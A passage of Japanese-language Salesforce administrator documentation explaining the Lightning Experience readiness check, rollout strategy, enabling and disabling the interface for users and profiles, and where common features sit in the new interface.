カスタマイズ」

Lightning Experience が会社に適しているかどうかに関心がありますか? Lightning

Experience 準備状況チェックでは、組織を評価し、組織で使用している機能が
Lightning でサポートされているかどうかを示すレポートを生成します。
Lightning Experience 準備状況チェックでは組織の次の機能が調査されます。
• タブとオブジェクト

– 契約
– ドキュメント
– 売上予測
– 注文
– 見積
– テリトリー管理

• カスタムボタンとカスタムリンク
– JavaScript

– Salesforce.com URL

• ホームページおよびサイドバーコンポーネント

207

Lightning Experience での組織のプレビュー組織の Lightning Experience の評価とロールアウト



• 関連リスト
– 関連取引先
– キャンペーン階層
– キャンペーンインフルエンス
– 契約階層
– 見積

• ケース
• メールテンプレート
• 共有ボタン
• ルックアップ検索条件
• サードパーティのコンピュータテレフォニーインテグレーション (CTI)

• ハードコードされた URL および [私のドメイン]

• Visualforce の上書き

メモ: Lightning Experience 準備状況チェックでは、一部の Sales Cloud 機能が評価されますが、全機能が評価
されるわけではありません。レポート、ダッシュボード、コミュニティ、またはその他のクラウドに関
する情報は評価されません。

Lightning Experience準備状況チェックでは、特定の IP アドレス制限のある組織がサポートされています。次の IP

アドレスは、準備状況チェックの実行中にユーザプロファイルのホワイトリストに登録されます。
• 52.2.2.209

• 52.203.195.34

• 52.200.207.131

• 52.72.119.132

Lightning Experience 準備状況チェックでは、Sandbox がサポートされています。
Lightning Experience 準備状況チェックとレポートは英語のみで提供されています。
1. [設定] から、[クイック検索] ボックスに「Lightning Experience」と入力し、[Lightning Experience Readiness Check]

(Lightning Experience 準備状況チェック) を選択します。
2. 準備状況チェックを実行すると、Salesforce によって PDF が生成され、メールで送信されます。

準備状況レポートで、Lightning Experience に切り替えるかどうかや、必要な変更についての情報を確認しま
す。
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Lightning Experience への移行

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

成功です。これで、Lightning Experience への切り替えが可能であると判断できま
した。まず、ロールアウトのガイドとなる戦略を策定することをお勧めします。
次に、適切なタイミングで、次の手順に従って新しいユーザインターフェース
を有効にします。

Lightning Experience のロールアウト戦略の策定
Lightning Experience をロールアウトする際に最適な投資の 1 つは、明確な計画
を立てることです。計画は、正しい順序で物事を進め、重要なリソースを特
定し、全員とコミュニケーションを取り、明確な終了日を設定するために役
立ちます。
Lightning Experience の有効化
Lightning Experienceは、スイッチを切り替えるだけの簡単な操作で有効にできます。ただし、Lightning Experience

を有効にしたらユーザが新しいインターフェースの機能をフル活用できるように、まず他のいくつかの機
能を設定することをお勧めします。次に、適切なユーザにLightning Experienceへのアクセス権を設定します。
また、小規模なパイロットグループに新しいインターフェースを徐々にロールアウトする方法と、一度に
組織の全員に対して有効にする方法があります。

Lightning Experience のロールアウト戦略の策定
Lightning Experienceをロールアウトする際に最適な投資の 1 つは、明確な計画を立てることです。計画は、正し
い順序で物事を進め、重要なリソースを特定し、全員とコミュニケーションを取り、明確な終了日を設定する
ために役立ちます。
組織の規模に応じて、変更管理部門と連携するか、プロジェクトマネージャをロールアウトに割り当てること
ができます。または、システム管理者がロールアウトの開始から終了までを計画して実行することもできま
す。作業がどのように分割される場合でも、Trailhead の『管理者向けトレイル - Lightning Experience への移行』の
「Lightning Experience のロールアウト」モジュールを使用すると役立ちます。
ロールアウトは、ほとんどの場合次のフェーズに分類されます。

学習 • Lightning Experience について学ぶ
• 関係者と担当役員を特定する
• プレゼンテーションとデモで社員を教育する
• 「Lightning Experience と Salesforce Classic の比較」と「Lightning Experience の考慮事項」

を確認する
• ギャップ分析を実施してニーズが満たされることを確認する

立ち上げ • Lightning Experience のパイロットユーザを特定する
• スーパーユーザを特定して有効にする
• プロジェクトスケジュールを作成する
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• 成功基準を定義する
• マーケティング戦略とトレーニング戦略を策定して実行する
• カスタマイズしてテストする (Sandbox 環境での実施が理想的)

• 稼動させる

反復処理 • 稼働状況を評価して成功基準に達しているかどうかを確認する
• ユーザの満足度と不満な点を調査する
• レポートとダッシュボードを使用して総計値とフィードバックを追跡する
• エグゼクティブサマリーを提出する

計画を進めるには、「Lightning Experience のロールアウト」モジュールに含まれる Lightning Experience Customer

Enablement Packをダウンロードしてください。Enablement Pack には、プレゼンテーションデッキ、リスクの重要
度マトリックス、プロジェクトスケジュールテンプレート、サンプルのメールドリップキャンペーン、ロール
アウトチェックリストなど、集中して順調に進めるための価値あるリソースが数多く詰め込まれています。

Lightning Experience の有効化
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience は、スイッチを切り替えるだけの簡単な操作で有効にできま
す。ただし、Lightning Experience を有効にしたらユーザが新しいインターフェー
スの機能をフル活用できるように、まず他のいくつかの機能を設定することを
お勧めします。次に、適切なユーザに Lightning Experience へのアクセス権を設定
します。また、小規模なパイロットグループに新しいインターフェースを徐々
にロールアウトする方法と、一度に組織の全員に対して有効にする方法があり
ます。
Lightning Experience 移行アシスタントを次の手順を進めるためのコントロールセ
ンターとして使用します。Salesforce Classicの [設定] から、[Lightning Experience]を
クリックします。
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Lightning Experience の推奨機能
Lightning Experienceを有効にする前に、いくつかの補助機能を有効にして設定することを検討してください。
こうした機能により、新しいユーザインターフェースがフルに最適化され、営業担当のセールスの迅速化
と効率化に役立ちます。
Lightning Experience のユーザの設定
次は、目的のユーザがLightning Experienceにアクセスできるようにします。デフォルトでは、標準のSalesforce

プロファイルを持つすべてのユーザに対して「Lightning Experienceユーザ」権限が自動的に有効になります。
ただし、カスタムプロファイルや権限セットを使用して Lightning Experience へのアクセス権を微調整できま
す。つまり、パイロットグループに限定してロールアウトしたり、新しいインターフェースからメリット
が得られる特定のユーザのチームを有効化したりできます。組織全体に一括してリリースすることもでき
ます。このように、リリース方法を柔軟に決めることができます。
組織の Lightning Experience の有効化
ここまで、ロールアウト計画の項目を「学習」して「開始」しました。また、Salesforce 機能を設定して新
しいユーザインターフェースを最適化したり、適切なユーザを有効にし、新しいインターフェースをすぐ
に取得するユーザや従来のインターフェースに留まるユーザを指定したりしました。本番を開始する準備
は整いました。Lightning Experience は、移行アシスタントを使用して簡単に有効化できます。

関連トピック:

Lightning Experience でサポートされているエディションおよびユーザライセンス

Lightning Experience の推奨機能

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience を有効にする前に、いくつかの補助機能を有効にして設定す
ることを検討してください。こうした機能により、新しいユーザインターフェー
スがフルに最適化され、営業担当のセールスの迅速化と効率化に役立ちます。
関連ファイル

標準の Salesforce オブジェクトとカスタムオブジェクトから、Salesforce Files の
充実した機能と柔軟性を活用できます。新しい [ファイル] 関連リストをペー
ジレイアウトに追加すると、ユーザは、ファイルをレコードにアップロード
し、レコードに関連付けられたファイルを表示できます。また、視覚的に充
実した最新のプレビュープレーヤーで、ファイルをページ単位ですばやく参
照できます。

拡張されたメモ
拡張されたメモ取りツールで、情報を常に整理できます。リッチテキストのメモを簡単に作成し、すばや
く特定のレコードに関連付けることができます。メモを有効にするときには、新しい [メモ] 関連リストを
ページレイアウトに追加して、ユーザがレコードから直接メモを作成および参照できるようにします。

パス
ユーザが会社のプロセスを採用し、より多くの案件を効率的に成立させられるようにします。オブジェク
トの状況またはフェーズに基づいてプロセスを設定します。プロセスの各ステップに成功へのガイダンス
を追加します。
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重複管理
ユーザが重複レコードの作成を試みるとアラートが表示されるように重複ルールを作成できます。重複ルー
ルを作成することで、Salesforce 内に重複レコードを作成することをユーザに許可するかどうか、および許
可する条件を制御できます。

リードの取引の開始
営業担当が評価済みリードを取引先責任者に変換できるようにすることで、セールスプロセスを促進しま
す。リードの取引開始時に、営業担当は新しく作成した取引先責任者の取引先を選択するか、取引先が
Salesforceにまだなければ作成します。営業担当は、その場で商談を作成することもできます。[変換] ボタン
をリードページレイアウトに追加できます。

ニュース
営業担当が、取引先、取引先責任者、リード、商談に関連するタイムリーなニュースにすばやくアクセス
できます。この機能は英語のみで提供されるため、組織が別の主言語を使用している場合、このオプショ
ンは不要な場合があります

ソーシャル取引先、取引先責任者、およびリード
営業担当が取引先、取引先責任者、およびリードを一致する Twitter プロフィールにリンクできるようにす
ることで、チームが常に最新の情報を得られるようにします。ユーザは、共有する Twitter ユーザプロフィー
ルと人を Salesforce で表示し、すばやくツイートにアクセスできます。

Shared Activities

営業担当が複数の取引先責任者を個々の行動や ToDo に関連付けられるようにすることで、活動リレーショ
ンがより正確に表されます。Shared Activities は期限なく使用できます。Shared Activities は有効にすると、無効
にできません。

私のドメイン
Salesforce の [私のドメイン] 機能を使用してカスタムドメインを作成します。カスタムドメインはログイン
および認証の管理に役立ちます。Lightning コンポーネントを Lightning コンポーネントタブ、Lightning ペー
ジ、Lightning アプリケーションビルダー、またはスタンドアロンアプリケーションで使用する場合は、カ
スタムドメインを設定する必要があります。カスタムドメインを設定するには、Salesforce ヘルプの「私の
ドメイン」を参照してください。
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Lightning Experience のユーザの設定

エディション

プロファイルと権限セッ
トを使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

プロファイルと権限セッ
トを使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

次は、目的のユーザがLightning Experienceにアクセスできるようにします。デフォ
ルトでは、標準のSalesforceプロファイルを持つすべてのユーザに対して「Lightning

Experience ユーザ」権限が自動的に有効になります。ただし、カスタムプロファ
イルや権限セットを使用して Lightning Experience へのアクセス権を微調整できま
す。つまり、パイロットグループに限定してロールアウトしたり、新しいイン
ターフェースからメリットが得られる特定のユーザのチームを有効化したりで
きます。組織全体に一括してリリースすることもできます。このように、リリー
ス方法を柔軟に決めることができます。

メモ: Group Edition を使用している場合は、上記の説明と若干異なります。
組織の標準プロファイルから「Lightning Experience ユーザ」権限を削除する
ことはできず、カスタムプロファイルは使用できません。つまり、「全体
にリリースするか、まったくしないか」しか選べず、Group Edition でLightning

Experienceを有効化した場合は、すべてのユーザで新しいインターフェース
の使用が有効化されます。ただし、誰が直ちに新しいインターフェースに
切り替わり、誰が従来のインターフェースに残るのかは、ユーザが自分で
切り替える準備ができるまで制御できません。

Lightning Experience を使用できるユーザの決定
まず、標準プロファイル (まだLightning Experienceにアクセスできない) を持つユーザがいるかどうかを確認しま
す。これらのユーザを「Lightning Experience ユーザ」権限のないカスタムプロファイルに移動します。
カスタムプロファイルを持つユーザのうち、Lightning Experienceに移行するユーザを決定します。カスタムプロ
ファイルに「Lightning Experienceユーザ」権限が自動的に設定されることはないため、システム管理者が判断す
る必要があります。次のオプションを検討します。
• カスタムプロファイルユーザの小規模なグループで Lightning Experience をテストし、カスタムプロファイル

に割り当てられているすべてのユーザでは有効化しない場合。「Lightning Experience ユーザ」権限を含む権
限セットを作成します。作成した権限セットをパイロットユーザごとに適用します。Lightning Experience を
有効にすると、パイロットユーザにのみ新しいインターフェースが表示されます。
権限セットの使用に慣れていない場合は、次のウォークスルーを確認してください。 段階的な手順: 権
限セットを作成、編集、および割り当てる

• Lightning Experience を特定のカスタムプロファイルにロールアウトする場合、または、すべてのカスタムプ
ロファイルユーザを有効にする準備ができている場合。「Lightning Experience ユーザ」権限をプロファイル
に追加するのが、最も手早く新しいユーザインターフェースを一括して有効化する方法です。
扱うプロファイルが多い場合、データローダを使用して同時に処理することができます。ただし、権限が
大きいほど、責任も大きくなります。知らないうちに他の機能を有効化または無効化しないように注意し
てください。

Lightning Experienceを一部のユーザに制限する場合、機能チームのメンバー全員の環境を同じにしておくことを
お勧めします。頻繁にリンクを共有し、緊密に協力し合うチームメンバーがいる場合は、そのメンバー全員を
パイロットに含めます。詳細は、「ユーザが Lightning Experience と Salesforce Classic 間を切り替えるときに発生す
る可能性がある問題」を参照してください。
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Lightning Experience にすぐに切り替えるユーザの決定
最終ステップでは、Lightning Experience の有効時にすぐに新しいインターフェースに切り替えるユーザと、
Salesforce Classicに留まるユーザを決定します。ユーザごとに適切な方を選択できます。チームがLightning Experience

に関するトレーニングをまだ十分に受けていないか、大きい変更を導入する時期でないと判断した場合は、
Lightning Experience の有効時にすべてのユーザを Salesforce Classic に残すよう選択できます。

ヒント: Lightning Experience が有効になったすべてのユーザは、スイッチャを自動的に取得します。つま
り、Salesforce Classic に留まるユーザは、準備が整ったときにいつでも自分で Lightning Experience に切り替え
ることができます。また、新しいインターフェースに割り当てられたユーザも、必要に応じて Salesforce

Classic に戻すことができます。
ユーザに適切なインターフェースを割り当てるには、Lightning Experience 移行アシスタントを使用します。
Salesforce Classicの [設定] から、[Lightning Experience]をクリックします。[Lightning Experienceを使用できるユーザ
を決定します] セクションで [ユーザを Lightning Experience に移行] 項目を探し、[ユーザを選択] をクリックしま
す。

メモ: Lightning Experienceを有効にした後で Salesforceに追加したユーザは、新しいユーザインターフェース
に自動的に割り当てられます。

関連トピック:

プロファイル
権限セット
Lightning Experience 導入後も Salesforce Classic は使用可能

組織の Lightning Experience の有効化

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning Experience 移行ア
シスタントを表示する
• 「設定・定義を参照す

る」

Lightning Experience 移行ア
シスタントを編集する
• 「アプリケーションの

カスタマイズ」

ここまで、ロールアウト計画の項目を「学習」して「開始」しました。また、
Salesforce 機能を設定して新しいユーザインターフェースを最適化したり、適切
なユーザを有効にし、新しいインターフェースをすぐに取得するユーザや従来
のインターフェースに留まるユーザを指定したりしました。本番を開始する準
備は整いました。Lightning Experience は、移行アシスタントを使用して簡単に有
効化できます。
Salesforce Classic の [設定] から、[Lightning Experience] をクリックします。
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Lightning Experience 移行アシスタントページで、[Lightning Experience] ボタンをクリックして [有効化] に設定し
ます。
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完成です! 有効化され、新しいインターフェースにすぐに切り替わるように設定されたユーザは、現在のセッ
ションが更新されるか、次回ログインすると、自動的に Lightning Experience の使用を開始できます。有効化さ
れたが、Salesforce Classic の使用を継続することを選択したユーザでも、スイッチャにアクセスでき、必要なと
きにいつでも Lightning Experience に切り替えることができます。

組織の Lightning Experience の無効化

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning Experience 移行ア
シスタントを表示する
• 「設定・定義を参照す

る」

Lightning Experience 移行ア
シスタントを編集する
• 「アプリケーションの

カスタマイズ」

Lightning Experience の今回のリリースが組織に適していない場合は、この新しい
ユーザインターフェースを簡単にオフにできます。Lightning Experience を無効に
すると、すべてのユーザが直ちに Salesforce Classic に切り替えられます。
[設定] から、[クイック検索] ボックスに「Lightning Experience」と入力し
ます。
Lightning Experience 移行アシスタントで、[Lightning Experience] ボタンをクリック
して [無効化] に設定します。

Lightning Experience の操作方法

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

まったく新しいLightning Experienceに少し困惑していますか? その気持ちはよくわ
かります。特に元のインターフェースでは目を閉じても操作できるような場合、
再設計されたアプリケーションの操作に混乱するかもしれません。Lightning

Experience に慣れるために、最も一般的な Salesforce 機能が新しいインターフェー
スのどこにあるのかを見ていきましょう。

Lightning Experience でのプロファイルおよび個人設定の検索
Salesforce Classicでは、プロファイルおよび個人設定は、自分の名前のメニュー
にあります。Lightning Experience でもそれほど変わりません。これらのオプ
ションへのリンクは、プロファイル写真をクリックすると表示されます。
Lightning Experience と Salesforce Classic を切り替えるためのリンクもここに用意されています。
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Lightning Experience でのオブジェクトおよびアプリケーションの検索
Salesforce Classicでは、タブ (1) を使用して取引先やリードなどのオブジェクトにアクセスします。タブには、
[ホーム] ページや Chatter などのその他の機能も表示されます。Lightning Experience のナビゲーション (2) は
Salesforce Classic と似ていますが、改善されている点があります。Lightning Experience では、ナビゲーション
バーから直接アクションを実行したり最近のレコードやリストにアクセスしたりできるほか、カスタムの
色やブランドが設定されたアプリケーション間を切り替えることができます。
Lightning Experience でのリストビューの検索
Lightning Experience では、直観的なレイアウト、便利なナビゲーション、シームレスなリスト作成および編
集により、Salesforce Classic のリストビュー操作が改善されました。
Lightning Experience でのレコードの操作方法
Salesforce Classic では、レコードの詳細、関連リスト、およびレコードフィードが同じページに表示されま
す。このレイアウトでは、特に大量のデータがあるレコードの場合、多くのスクロールが必要になります。
Lightning Experience では、レコードの詳細、関連情報、およびレコードフィードが、簡単に切り替えること
ができる専用のタブに表示されます。
Lightning Experience の [設定] の操作方法
Lightning Experience の [設定] では、従来よりもすばやく簡単に、会社のニーズに合わせて Salesforce をカスタ
マイズできます。
Lightning Experience でのアクションおよびボタンの検索
Salesforce Classicでは、Chatterパブリッシャーにアクションが、レコードの詳細ページにボタンが表示されま
す。Lightning Experience では、これらの要素の区別があいまいになっています。アクションとボタンが混ざ
り合っており、機能に基づいてさまざまな領域に配置されます。
Lightning Experience での関連リストの検索
Salesforceのレコードには、他の関連レコードの詳細やそのリンクが含まれます。Salesforce Classicでは、ペー
ジ下部付近のリストに関連レコードが表示されます。Lightning Experience では、関連リストカードに関連情
報が表示されます。リードや商談 (ワークスペースを含むオブジェクト) の場合、[関連] タブから関連リスト
カードにアクセスします。取引先や取引先責任者などの参照オブジェクト、およびグループやユーザの場
合、関連リストカードはページの右側に表示されます。
Lightning Experience での Chatter 機能の検索
Lightning Experienceでは、使い慣れたSalesforce Classicと同様に、他のユーザやグループとつながり、ビジネス
情報を安全かつリアルタイムに共有できます。新しいインターフェースでは、Chatterフィード、グループ、
およびプロファイルへのアクセス方法が若干異なりますが、この簡単な概要を確認すれば慣れることがで
きます。
Lightning Experience でのヘルプの検索
Lightning Experience では、各ページにコンテキストヘルプメニューがあり、そのページの特定の作業に関連
したヘルプトピック、ウォークスルー、動画、開発者ガイド、PDF などのリソースへのリンクが用意されて
います。
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Lightning Experience でのプロファイルおよび個人設定の検索
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classicでは、プロファイルおよび個人設定は、自分の名前のメニューに
あります。Lightning Experience でもそれほど変わりません。これらのオプション
へのリンクは、プロファイル写真をクリックすると表示されます。Lightning

Experience と Salesforce Classic を切り替えるためのリンクもここに用意されていま
す。
Salesforce Classicでは、ユーザ名をクリックすると、自身のプロファイルおよび個
人設定へのリンク (1) が表示されます。Lightning Experience でプロファイルにアク
セスするには、プロファイル写真 (3) をクリックしてスイッチャ (4) を開きます。
次に、プロファイル写真をもう一度クリックしてプロファイル (5) にアクセスし
ます。[設定] (6) をクリックして個人情報を更新します。
Salesforce Classic から Lightning Experience に切り替えるには、Salesforce Classic ヘッダー内の名前をクリックして、
[Lightning Experience に切り替え] (2) をクリックします。Salesforce Classic に戻るには、[Salesforce Classic に切り替
え] (7) をクリックします。選択内容が記録され、デフォルトとして設定されます。

写真を追加する前は が表示されています。特に優れた似顔絵でもないため、この画像 (5) をクリック
し、自身のプロファイル写真をアップロードしてください。
ところで [ユーザ名を追加] (8) とは何でしょうか? ここ (9) にはなぜ他のユーザ名のリストが表示されているの
でしょうか? Lightning Experience では、ユーザがユーザ名を切り替えることができます。同じ組織または異なる
組織に複数のユーザ名がある場合に、リストからユーザ名を選択できます。たとえば、Salesforceシステム管理
者がプロファイルと権限セットを設定するときに、別のユーザとしてログインできます。この情報が表示され
なくても心配いりません。ほとんどのユーザには 1 つのユーザ名のみがあります。または、システム管理者が
組織でこの機能を無効にしている場合があります。

Lightning Experience でのオブジェクトおよびアプリケーションの検索
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic では、タブ (1) を使用して取引先やリードなどのオブジェクトに
アクセスします。タブには、[ホーム] ページや Chatter などのその他の機能も表
示されます。Lightning Experience のナビゲーション (2) は Salesforce Classic と似てい
ますが、改善されている点があります。Lightning Experience では、ナビゲーショ
ンバーから直接アクションを実行したり最近のレコードやリストにアクセスし
たりできるほか、カスタムの色やブランドが設定されたアプリケーション間を
切り替えることができます。
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Salesforce Classic (3) と Lightning Experience のどちらも、アプリケーションランチャーを使用してアプリケーション
を開きます。Lightning Experienceでは、アプリケーションランチャーにナビゲーションバーからいつでもアクセ
スでき (4)、カスタムアプリケーションがカスタムロゴ、色、説明とともに表示されます (5)。探している項目
が現在のアプリケーションにはない場合でも、Lightning Experienceではアプリケーションランチャーで見つける
ことができます。また、アプリケーションランチャーの検索では、求めている項目やアプリケーションがすぐ
に見つかります (6)。
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Lightning Experience でのリストビューの検索
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience では、直観的なレイアウト、便利なナビゲーション、シーム
レスなリスト作成および編集により、Salesforce Classicのリストビュー操作が改善
されました。

メモ: リストビューには、アクセス権があるデータのみが表示されます。
所有しているか「参照・更新」アクセス権があるレコード、および共有し
ているレコードが表示されます。ロール階層で自分より下位のロールのユー
ザが所有しているか、そのユーザと共有しているレコードも、リストビュー
に含まれます。ページレイアウト設定と項目レベルセキュリティ設定に従っ
て表示される項目のみを参照できます。

• ドロップダウンメニュー (1) からリストビューを選択する。
• リストビューコントロール (2) からリストビューを作成、編集、削除する。
• ビューの検索条件をすばやく変更して、表示されるレコードを絞り込む (3)。
• リストビューからレコードを直接作成する (4) 。
• リストビューから項目を直接編集する (5) 。
• (商談のみ) 標準リストビューのグリッドと、パイプラインの視覚的な監視機能である Kanban ボードを切り

替える (6)。
• 特定のレコードを編集または削除する (7)。
• 縦棒、横棒、ドーナツなどのグラフ (8) を使用してリストビューデータを視覚化する。
• 検索して特定のリストビューをすばやく見つける (9)。
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Lightning Experience でのレコードの操作方法
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classicでは、レコードの詳細、関連リスト、およびレコードフィードが
同じページに表示されます。このレイアウトでは、特に大量のデータがあるレ
コードの場合、多くのスクロールが必要になります。Lightning Experience では、
レコードの詳細、関連情報、およびレコードフィードが、簡単に切り替えるこ
とができる専用のタブに表示されます。

221

Lightning Experience でのレコードの操作方法組織の Lightning Experience の評価とロールアウト



• Salesforce Classic では、[フィードを表示] (1) でレコードの Chatter フィードが表示されるかどうかを制御しま
す。Lightning Experienceでは、[コラボレーション] タブ (1) で常にレコードのフィードおよびフィードコンポー
ザを使用できます。

• [詳細] (2) タブですべてのレコードの詳細が表示されます。
• Salesforce Classic では、レコードに関連リスト (3) が含まれますが、Lightning Experience では、関連リストカー

ド (3) に関連情報が表示されます。新しいインターフェースと従来のインターフェースの関連情報の処理方
法についての詳細は、「Lightning Experience での関連リストの検索」を参照してください。

関連トピック:

お気に入りを使用した上位 Salesforce ページへのショートカットの作成
Lightning Experience でのアクションおよびボタンの検索

Lightning Experience の [設定] の操作方法
Lightning Experienceの [設定] では、従来よりもすばやく簡単に、会社のニーズに合わせて Salesforceをカスタマイ
ズできます。
Salesforce システム管理者は、[設定] を使用して多くの時間を過ごします。ここでは、パスワードのリセット、
ユーザおよびプロファイルの作成、メールテンプレートやカスタム項目の作成、レイアウトのカスタマイズな
どさまざまなことを行います。[設定] に慣れていくうえで、クリックパスを覚えることはさほど重要ではあり
ません。それよりもショートカットに着目してください。ここで、覚えておくと便利なナビゲーションツール
について説明します。

• [クイック検索] (1) は、目的の場所にすばやくアクセスするためのツールです。[クイック検索] ボックスに
検索語を入力し、入力した内容を基にぺージのリストを絞り込みます。目的のページを [設定] ページから
探すよりもすばやく検索できます。

• 項目、オブジェクト、ユーザなどを名前で検索する場合は、グローバル検索 (2) を使用します。[設定] を開
いたままレコード名を入力し、インスタント結果の[設定]オプションを選択するか、Enter キーを押します。
検索結果ページに検索語と一致するレコード結果が表示されます。
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• [作成] メニュー (3) は、[設定] の各ページに表示されます。ここから、ユーザ、カスタムオブジェクト、カ
スタムタブ、メールテンプレートの作成など、作成頻度の高い項目を簡単に作成できます。

• カルーセル (4) からは、重要な設定ツールや、Salesforce1、SalesforceA、リリースノート、パフォーマンスな
どの情報にすぐさまアクセスできます。

• [最後に使用] (5) には、[設定] で最近使用されたレコードが表示されます。そのため、以前に作業していた
内容にワンクリックで戻ることができます。

Lightning Experience でのアクションおよびボタンの検索
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic では、Chatter パブリッシャーにアクションが、レコードの詳細
ページにボタンが表示されます。Lightning Experience では、これらの要素の区別
があいまいになっています。アクションとボタンが混ざり合っており、機能に
基づいてさまざまな領域に配置されます。
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• Lightning Experience では、[投稿] および [アンケート] の標準 Chatter アクション (1) が、[Chatter] タブのコンポー
ザに表示されます。ただし、[感謝] や [リンク] などの他の標準アクションは、新しいインターフェースでは
使用できません。

• オブジェクトのページレイアウトの [活動の記録]、[新規 ToDo]、および [新規行動] アクション (2) は、[活動]

タブのコンポーザに表示されます。オブジェクトのページレイアウトに [メールの送信] ボタンが含まれて
いる場合、[メール] アクションもこのコンポーザに表示されます。これらのアクションでは、ユーザが表
示中のレコードに関連するレコードが作成されます。

または、ヘッダーの[グローバルアクション]メニュー ( ) を使用して、現在のレコードに関連しないアク
ションを実行できます。

• オブジェクトのページレイアウトの標準ボタンおよびサポート対象のカスタムボタン (3) ([編集] ボタンなど)

は、アクションメニューに表示されます。ページレイアウトの他のグローバルアクションおよびオブジェ
クト固有のアクション (VisualforceアクションやForce.com Canvasアクションなど) もメニューに表示されます。
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• Salesforce Classic と同様に、カスタムリンクもレコードの詳細に含まれます。これらは、[詳細] タブをクリッ
クすると表示されます。

関連トピック:

Lightning Experience のアクション
Lightning Experience でのアクションの順序
ナビゲーションおよびアクション: Lightning Experience で使用できない機能とその新機能

Lightning Experience での関連リストの検索
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforceのレコードには、他の関連レコードの詳細やそのリンクが含まれます。
Salesforce Classicでは、ページ下部付近のリストに関連レコードが表示されます。
Lightning Experience では、関連リストカードに関連情報が表示されます。リード
や商談 (ワークスペースを含むオブジェクト) の場合、[関連] タブから関連リスト
カードにアクセスします。取引先や取引先責任者などの参照オブジェクト、お
よびグループやユーザの場合、関連リストカードはページの右側に表示されま
す。
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レコードの最初の 8 個の関連リストカードは、次のように表示されます。
• 関連リストのボタン (1) は、各関連リストカードの右上隅にあります。複数のボタンがある場合、プルダウ

ンメニューを使用してアクセスします。
• 関連リストカードの各項目には、関連レコードを開くリンク (2) が含まれます。
• レコード固有のアクション (3) は、各関連レコードの横にあるプルダウンメニューにあります。
• 関連リストカードがページの右側にある場合、各カードには最大 3 個のレコードが表示されます。参照オ

ブジェクトの場合、関連リストカードには最大 6 個のレコードが表示されます。どちらの場合も、ドリル
ダウン (4) して、関連レコードの完全なリストを表示できます。

レコードの関連リストが 8 個より多い場合、追加の関連リストカードにはオブジェクトの名前のみが表示され
ます。関連リストカードの名前をクリックすると、完全な関連リストが開きます。このリストには、カードに
は含まれない関連リストボタンとレコード固有のアクションが含まれます。

Lightning Experience での Chatter 機能の検索
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience では、使い慣れた Salesforce Classic と同様に、他のユーザやグ
ループとつながり、ビジネス情報を安全かつリアルタイムに共有できます。新
しいインターフェースでは、Chatter フィード、グループ、およびプロファイル
へのアクセス方法が若干異なりますが、この簡単な概要を確認すれば慣れるこ
とができます。
Salesforce Classicでは、通常、Chatterタブのサイドバーから Chatter機能にアクセス
します。Lightning Experienceでは、ページの上部にあるタブから直接メインフィー
ド (1)、同僚のプロファイル (2)、グループ (3) にアクセスします。
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Lightning Experienceの場合、レコード (4) に関するコラボレーションを行うには、[Chatter] タブを探します。Salesforce

Classic と同様、更新の投稿、アンケートの作成、質問、およびファイルの共有を行うことができます。
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Chatter フィードの使用
Chatter のメインフィードを変更して、投稿の特定のサブセット (1) を表示できます。Lightning Experience でも、
Salesforce Classic と同様、Chatter タブの左側にあるタブを使用します。[自分がフォローするもの] フィードはデ
フォルトフィードのままです。

Lightning Experience のフィードには、Salesforce Classic で使用できる多くのオプションが含まれています。
• [投稿]、[アンケート]、[質問] アクションは、[Chatter] タブのパブリッシャーで使用できます。パブリッシャー

のテキストボックスをクリックして、ファイルのアップロードやユーザのメンションを行うボタンにアク
セスします。Salesforce Classicのパブリッシャーに表示される他の標準Chatterアクション ([感謝] や [リンク] な
ど) は、Lightning Experience では使用できません。

• フィードを投稿またはコメントの新しい順に並び替えます。Lightning Experience では、フィードを絞り込む
オプションは使用できません。

• フィードを更新して最新の情報を表示します。
• フィード検索で特定のフィードの情報を探します。
• 投稿のアクションは、どちらのインターフェースでも同じです。ただし、Lightning Experience では、トピッ

クは使用できません。
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Lightning Experience でのヘルプの検索
エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Experience では、各ページにコンテキストヘルプメニューがあり、その
ページの特定の作業に関連したヘルプトピック、ウォークスルー、動画、開発
者ガイド、PDF などのリソースへのリンクが用意されています。
オブジェクトページでは、Salesforce Classic で表示されていた [このページのヘル
プ] リンクはヘルプメニューに置き換えられています。多くの [設定] ページで
は、引き続き [このページのヘルプ] が表示されますが、より多くの有用な情報
を備えたヘルプメニューを使用することをお勧めします。

動画リンク ( ) をクリックすると、動画プレーヤーが表示され、Salesforceを離れずに動画を見ることができま
す。
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ウォークスルーリンク ( ) をクリックすると、組織のウォークスルーの最初のステップに移動します。ヘル
プ、開発者ガイド、PDF リンクは新しいブラウザタブで開きます。
